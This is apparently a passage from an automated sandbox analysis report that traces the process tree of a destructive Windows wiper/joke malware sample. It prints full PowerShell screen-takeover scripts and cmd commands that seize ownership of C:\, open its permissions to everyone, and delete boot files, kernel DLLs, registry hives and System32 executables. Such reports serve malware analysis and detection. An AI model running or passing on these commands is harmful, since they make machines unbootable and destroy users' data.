    - Opens file in notepad (likely ransom note)
    PID:6640
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\diskmgmt.msc"
    3⤵
    PID:6820
- - C:\Windows\system32\Magnify.exe
    "C:\Windows\system32\Magnify.exe"
    3⤵
    PID:3084
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    PID:6696
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\diskmgmt.msc"
    3⤵
    PID:6012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtube.com/@snowsday
    3⤵
    PID:6792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2b8,0x2bc,0x2c4,0x2c0,0x2e4,0x7ff9bdf6c188,0x7ff9bdf6c194,0x7ff9bdf6c1a0
      4⤵
      PID:4600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1984,i,17639767221970567240,5281463792333437167,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=3076 /prefetch:3
      4⤵
      System Time Discovery
      PID:1884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1724,i,14768716987829628584,7584341486500336891,262144 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:2
      4⤵
      PID:5648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1812,i,16597087574521294593,117156722386319768,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=3088 /prefetch:8
      4⤵
      PID:4996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3168,i,16053312960204742016,15655760230987622235,2097152 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
      4⤵
      PID:1728
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3356,i,10055084369492177634,5629879404694422345,2097152 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
      4⤵
      PID:2476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4912,i,16298342868004448247,758701279693369233,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:8
      4⤵
      PID:5504
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4920,i,10308618170256512040,7539310120779075914,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:8
      4⤵
      PID:1656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5612,i,6328414351566002540,6214097284130889353,2097152 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:1
      4⤵
      PID:2896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3592,i,11786151337393248277,11208883576018964957,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:8
      4⤵
      PID:8104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3632,i,17963811845387380888,8437858869977867238,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=5916 /prefetch:8
      4⤵
      PID:8112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,9259907586340189352,16652841596229556280,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:8
      4⤵
      PID:8120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,16915980259325511868,5321281380296321189,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:8
      4⤵
      PID:7520
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,16915980259325511868,5321281380296321189,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=6068 /prefetch:8
      4⤵
      PID:7672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5112,i,16175521689708908585,8732698791997081993,524288 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=852 /prefetch:8
      4⤵
      PID:3376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3836,i,4761596986027361496,2727841057629847009,262144 --field-trial-handle=2948,i,7370516394768035773,15838416398370743854,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:8
      4⤵
      PID:3820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($y=0;$y -lt $bmp.Height;$y+=1){ for($x=0;$x -lt $bmp.Width;$x+=1){ try{ $px=$bmp.GetPixel($x,$y); $rVal=255-$px.R; $gVal=255-$px.G; $bVal=255-$px.B; if($r.Next(3) -eq 0){ $rVal=$px.R; $gVal=255-$px.G; $bVal=$px.B } if($r.Next(5) -eq 0){ $rVal=255-$px.R; $gVal=$px.G; $bVal=255-$px.B } $bmp.SetPixel($x,$y,[System.Drawing.Color]::FromArgb($rVal,$gVal,$bVal)); } catch {} } } $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); $form.BackColor=[System.Drawing.Color]::FromArgb($r.Next(256),$r.Next(256),$r.Next(256)); Start-Sleep -Milliseconds ($r.Next(5,50)); $form.BackColor='Black'; Start-Sleep -Milliseconds ($r.Next(5,50)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $r=New-Object Random; $txts=@('SNOWSDAY','TOP','LUMINA','DEAD','HAIL SNOWSDAY','youtube.com/@snowsday','SNOWSDAY ON TOP','MBR OVERWRITTEN','SYSTEM DESTROYED','RIP','PC DEAD','KILLED','WIPED','GONE','ERROR','ANNIHILATED','DESTROYED','CORRUPTED','FATAL','DEAD PC','NO RECOVERY','BSOD','CRASH','TERMINATED'); while($true){ for($j=0;$j -lt 6;$j++){ $win=New-Object System.Windows.Forms.Form; $win.Size=New-Object System.Drawing.Size($r.Next(30,1000), $r.Next(30,1000)); $win.StartPosition='Manual'; $win.Location=New-Object System.Drawing.Point($r.Next(-200,2500), $r.Next(-200,1500)); $win.BackColor=[System.Drawing.Color]::FromArgb($r.Next(100,256),$r.Next(0,100),$r.Next(0,100)); $win.TopMost=$true; $win.FormBorderStyle='None'; if($r.Next(2) -eq 0){ $win.Opacity=0.7+$r.NextDouble()*0.3 } $label=New-Object System.Windows.Forms.Label; $label.Text=$txts[$r.Next($txts.Count)]; $label.Font=New-Object System.Drawing.Font('Consolas', $r.Next(8,100), [System.Drawing.FontStyle]::Bold); $label.ForeColor='White'; $label.BackColor='Transparent'; $label.AutoSize=$false; $label.Size=$win.Size; $label.TextAlign='MiddleCenter'; $win.Controls.Add($label); $win.Show(); } Start-Sleep -Milliseconds ($r.Next(20,100)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$r=New-Object Random; while($true){ for($i=0;$i -lt 12;$i++){ try{[console]::beep($r.Next(37,8000), $r.Next(1,100))}catch{} } Start-Sleep -Milliseconds ($r.Next(0,10)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $r=New-Object Random; while($true){ $pos=[System.Windows.Forms.Cursor]::Position; for($i=0;$i -lt 5;$i++){ $f=New-Object System.Windows.Forms.Form; $f.Size=New-Object System.Drawing.Size($r.Next(10,300), $r.Next(10,300)); $f.Location=New-Object System.Drawing.Point($pos.X+$r.Next(-100,100), $pos.Y+$r.Next(-100,100)); $f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(50,200),$r.Next(256),$r.Next(0,100),$r.Next(0,100)); $f.FormBorderStyle='None'; $f.TopMost=$true; $f.Show(); Start-Sleep -Milliseconds 20; $f.Close(); } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); $bmp.RotateFlip([System.Drawing.RotateFlipType]($r.Next(0,7))); $pic.Image = $bmp; $zo=$r.NextDouble()*0.3+0.85; $form.Size=New-Object System.Drawing.Size([int]($sc.Bounds.Width*$zo),[int]($sc.Bounds.Height*$zo)); $form.Location=New-Object System.Drawing.Point($r.Next(-100,100),$r.Next(-100,100)); $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds ($r.Next(50,200)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.TopMost=$true; $f.Show(); $r=New-Object Random; while($true){ for($i=0;$i -lt 5;$i++){ $f.BackColor=[System.Drawing.Color]::FromArgb($r.Next(30,255), $r.Next(256), $r.Next(0,100), $r.Next(0,100)); $f.Opacity=$r.NextDouble() * 0.7 + 0.3; $f.Refresh(); Start-Sleep -Milliseconds ($r.Next(5,30)); } $f.BackColor='Black'; $f.Refresh(); Start-Sleep -Milliseconds ($r.Next(5,30)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $t=0; while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,30)); for($i=0;$i -lt 30;$i++){ $radius=($t+$i*25) :Max($w,$h); $c=[System.Drawing.Color]::FromArgb($r.Next(150,256),$r.Next(0,150),$r.Next(0,150)); $pen=New-Object System.Drawing.Pen($c, $r.Next(1,8)); $g.DrawEllipse($pen, $w/2-$radius, $h/2-$radius, $radius*2, $radius*2); $pen.Dispose(); } $t+=7; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 15; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($x=0;$x -lt $bmp.Width;$x+=$r.Next(3,30)){ $col=@(); for($y=0;$y -lt $bmp.Height;$y+=2){ try{ $col+=$bmp.GetPixel($x,$y); }catch{} } $col=$col | Sort-Object {($_ .R + $_ .G + $_ .B) -band 255}; for($y=0;$y -lt $col.Count;$y++){ try{ $bmp.SetPixel($x,$y*2,$col[$y]); }catch{} } } for($y=0;$y -lt $bmp.Height;$y+=$r.Next(3,30)){ $row=@(); for($x=0;$x -lt $bmp.Width;$x+=2){ try{ $row+=$bmp.GetPixel($x,$y); }catch{} } $row=$row | Sort-Object {($_ .R + $_ .G + $_ .B) -band 255}; for($x=0;$x -lt $row.Count;$x++){ try{ $bmp.SetPixel($x*2,$y,$row[$x]); }catch{} } } $pic.Image=$bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 200; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; $drops=@(); for($i=0;$i -lt $w/6;$i++){ $drops+=$r.Next($h) } $font=New-Object System.Drawing.Font('Consolas', 12); while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,5)); for($x=0;$x -lt $drops.Count;$x++){ $c=[System.Drawing.Color]::FromArgb($r.Next(180,256),$r.Next(0,50),$r.Next(0,50)); $brush=New-Object System.Drawing.SolidBrush($c); $ch=[char]$r.Next(33,126); $text=''; for($j=0;$j -lt $r.Next(1,5);$j++){ $text+=$ch } $g.DrawString($text, $font, $brush, $x*6, $drops[$x]); $brush.Dispose(); $drops[$x]+=$r.Next(8,25); if($drops[$x] -gt $h + $r.Next(100,500)){ $drops[$x]=$r.Next(-500,0); } } [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 20; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $f=New-Object System.Windows.Forms.Form; $f.FormBorderStyle='None'; $f.WindowState='Maximized'; $f.BackColor='Black'; $f.TopMost=$true; $f.Show(); $g=$f.CreateGraphics(); $r=New-Object Random; $w=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; $h=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height; function DrawFractal($g,$x,$y,$size,$depth,$r,$cx,$cy){ if($depth -le 0 -or $size -lt 1){ return } $c=[System.Drawing.Color]::FromArgb($r.Next(100,256),$r.Next(0,150),$r.Next(0,150)); $pen=New-Object System.Drawing.Pen($c, 1); $x2=$x+$size; $y2=$y+$size; $mx=($x+$x2)/2 + ($cx-$w/2)*0.01*$depth; $my=($y+$y2)/2 + ($cy-$h/2)*0.01*$depth; $g.DrawLine($pen,$x,$y,$mx,$my); $g.DrawLine($pen,$mx,$my,$x2,$y); $g.DrawLine($pen,$x2,$y,$x2,$y2); $g.DrawLine($pen,$x2,$y2,$mx,$my); $g.DrawLine($pen,$mx,$my,$x,$y2); $g.DrawLine($pen,$x,$y2,$x,$y); $pen.Dispose(); $ns=$size*0.55; DrawFractal $g ($x+$size*0.1) ($y+$size*0.1) $ns ($depth-1) $r $cx $cy; DrawFractal $g ($x+$size*0.35) ($y+$size*0.35) ($ns*0.7) ($depth-2) $r $cx $cy; } $mx=$w/2; $my=$h/2; while($true){ $g.Clear([System.Drawing.Color]::FromArgb(0,0,0,40)); $pos=[System.Windows.Forms.Cursor]::Position; DrawFractal $g ($w/2-250) ($h/2-250) 500 5 $r $pos.X $pos.Y; [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds 50; }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); $slices=$r.Next(3,20); $sliceW=$bmp.Width/$slices; for($s=0;$s -lt $slices;$s++){ $sx=$s*$sliceW; $dx=$sx+$r.Next(-100,100); $dy=$r.Next(-80,80); $sw=[Math]::Max(1,$sliceW+$r.Next(-50,50)); for($y=0;$y -lt $bmp.Height;$y++){ for($x=0;$x -lt $sw;$x++){ $srcX=$sx+$x; $dstX=$dx+$x; if($srcX -ge 0 -and $srcX -lt $bmp.Width -and $dstX -ge 0 -and $dstX -lt $bmp.Width){ $dy2=$dy; if($r.Next(3) -eq 0){ $dy2+=$r.Next(-20,20) } $dstY=$y+$dy2; if($dstY -ge 0 -and $dstY -lt $bmp.Height){ try{ $px=$bmp.GetPixel($srcX,$y); $bmp.SetPixel($dstX,$dstY,$px); }catch{} } } } } } $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds ($r.Next(50,200)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $sc=[System.Windows.Forms.Screen]::PrimaryScreen; $bmp=New-Object System.Drawing.Bitmap($sc.Bounds.Width, $sc.Bounds.Height); $gfx=[System.Drawing.Graphics]::FromImage($bmp); $form=New-Object System.Windows.Forms.Form; $form.FormBorderStyle='None'; $form.WindowState='Maximized'; $form.TopMost=$true; $pic=New-Object System.Windows.Forms.PictureBox; $pic.Dock='Fill'; $form.Controls.Add($pic); $form.Show(); $r=New-Object Random; while($true){ $gfx.CopyFromScreen(0,0,0,0,$sc.Bounds.Size); for($i=0;$i -lt $r.Next(5,30);$i++){ $y1=$r.Next($bmp.Height); $y2=$r.Next($bmp.Height); $shift=$r.Next(-300,300); for($x=0;$x -lt $bmp.Width;$x+=2){ $dstX=$x+$shift; if($dstX -ge 0 -and $dstX -lt $bmp.Width){ for($y=$y1;$y -lt $y2 -and $y -lt $bmp.Height;$y+=2){ try{ $px=$bmp.GetPixel($x,$y); $bmp.SetPixel($dstX,$y,$px); }catch{} } } } } $pic.Image = $bmp; $form.Refresh(); [System.Windows.Forms.Application]::DoEvents(); Start-Sleep -Milliseconds ($r.Next(20,100)); }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5876
- C:\Windows\system32\cmd.exe
  cmd /c "takeown /f C:\ /r /d y >nul 2>&1"
  2⤵
  PID:3308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\ /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:7000
- C:\Windows\system32\cmd.exe
  cmd /c "icacls C:\* /grant Everyone:F /T /Q >nul 2>&1"
  2⤵
  PID:412
- - C:\Windows\system32\icacls.exe
    icacls C:\* /grant Everyone:F /T /Q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:7100
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\bootmgr >nul 2>&1"
  2⤵
  PID:896
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\Boot >nul 2>&1"
  2⤵
  PID:6020
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\EFI\*.* >nul 2>&1"
  2⤵
  PID:3260
- C:\Windows\system32\cmd.exe
  cmd /c "rmdir /s /q C:\EFI >nul 2>&1"
  2⤵
  PID:4492
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\ntoskrnl.exe >nul 2>&1"
  2⤵
  PID:4524
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\ntdll.dll >nul 2>&1"
  2⤵
  PID:4516
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\hal.dll >nul 2>&1"
  2⤵
  PID:4340
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\kernel32.dll >nul 2>&1"
  2⤵
  PID:4488
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\winload.* >nul 2>&1"
  2⤵
  PID:4428
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\winresume.* >nul 2>&1"
  2⤵
  PID:4276
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\smss.exe >nul 2>&1"
  2⤵
  PID:4408
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\csrss.exe >nul 2>&1"
  2⤵
  PID:4556
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\wininit.exe >nul 2>&1"
  2⤵
  PID:4652
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\services.exe >nul 2>&1"
  2⤵
  PID:4600
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\lsass.exe >nul 2>&1"
  2⤵
  PID:5168
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\svchost.exe >nul 2>&1"
  2⤵
  PID:2352
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SAM >nul 2>&1"
  2⤵
  PID:3808
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SYSTEM >nul 2>&1"
  2⤵
  PID:6136
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SOFTWARE >nul 2>&1"
  2⤵
  PID:3720
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\SECURITY >nul 2>&1"
  2⤵
  PID:4812
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\DEFAULT >nul 2>&1"
  2⤵
  PID:3996
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\config\COMPONENTS >nul 2>&1"
  2⤵
  PID:4832
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\drivers\*.* >nul 2>&1"
  2⤵
  PID:2104
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\DriverStore\*.* >nul 2>&1"
  2⤵
  PID:5676
- C:\Windows\system32\cmd.exe
  cmd /c "del /f /s /q C:\Windows\System32\*.exe >nul 2>&1"
  2⤵
  PID:4796
- C:\Windows\system32\cmd.exe
